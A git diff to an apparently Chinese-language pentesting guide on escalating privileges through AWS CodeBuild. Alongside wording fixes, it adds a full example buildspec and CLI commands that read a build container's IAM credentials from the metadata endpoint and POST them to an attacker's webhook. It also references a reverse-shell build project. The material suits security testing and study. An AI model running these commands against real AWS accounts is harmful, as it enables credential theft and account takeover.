diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index 21b012081..74411fe3f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -67,7 +67,7 @@ aws codebuild start-build-batch --project --buildspec-override fi ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -拥有 **`iam:PassRole`, `codebuild:CreateProject` 和 `codebuild:StartBuild` 或 `codebuild:StartBuildBatch`** 权限的攻击者将能够通过创建一个正在运行的构建来 **提升到任何 codebuild IAM 角色**。 +拥有 **`iam:PassRole`、`codebuild:CreateProject` 和 `codebuild:StartBuild` 或 `codebuild:StartBuildBatch`** 权限的攻击者将能够通过创建一个正在运行的构建来 **提升权限到任何 codebuild IAM 角色**。 {{#tabs }} {{#tab name="Example1" }} @@ -133,6 +133,40 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat # Start a build with the new project aws codebuild start-build --project-name reverse-shell-project +``` +{{#endtab }} + +{{#tab name="Example3" }} +```bash +# Generated by ex16x41, tested +# Create a hook.json file with command to send output from curl credentials URI to your webhook address + +{ +"name": "user-project-1", +"source": { +"type": "NO_SOURCE", +"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n" +}, +"artifacts": { +"type": "NO_ARTIFACTS" +}, +"environment": { +"type": "LINUX_CONTAINER", +"image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0", +"computeType": "BUILD_GENERAL1_SMALL" +}, +"serviceRole": "ARN-OF-TARGET-ROLE" +} + +# Create a new CodeBuild project with the hook.json file +aws codebuild create-project --cli-input-json file:///tmp/hook.json + +# Start a build with the new project +aws codebuild start-build --project-name user-project-1 + +# Get Credentials output to webhook address +Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from + ``` {{#endtab }} {{#endtabs }} @@ -150,7 +184,7 @@ aws codebuild start-build --project-name reverse-shell-project ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -就像在上一节中一样,如果您可以修改而不是创建构建项目,您可以指示 IAM 角色并窃取令牌。 +就像在前一节中一样,如果您可以修改而不是创建构建项目,您可以指示 IAM 角色并窃取令牌。 ```bash REV_PATH="/tmp/codebuild_pwn.json" @@ -264,7 +298,7 @@ aws codebuild start-build-batch --project-name codebuild-demo-project {{#endtab }} {{#endtabs }} -**潜在影响:** 直接提升附加的 AWS Codebuild 角色的权限。 +**潜在影响:** 直接提升到附加的 AWS Codebuild 角色。 ### SSM @@ -285,13 +319,13 @@ commands: aws codebuild batch-get-builds --ids --region --output json aws ssm start-session --target --region ``` -有关更多信息 [**查看文档**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html)。 +有关更多信息,请[**查看文档**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html)。 ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject` -能够启动/重启特定 CodeBuild 项目的构建的攻击者,如果该项目的 `buildspec.yml` 文件存储在攻击者具有写入权限的 S3 存储桶中,则可以在 CodeBuild 过程中获得命令执行。 +能够启动/重启特定 CodeBuild 项目的构建的攻击者,如果该项目的 `buildspec.yml` 文件存储在攻击者具有写入权限的 S3 存储桶中,则可以在 CodeBuild 过程中获得命令执行权限。 -注意:只有当 CodeBuild 工作人员的角色与攻击者的角色不同时,这种提升才相关,理想情况下,工作角色的权限更高。 +注意:只有当 CodeBuild 工作人员的角色与攻击者的角色不同时,这种提升权限才相关,理想情况下,工作角色应具有更高的权限。 ```bash aws s3 cp s3:///buildspec.yml ./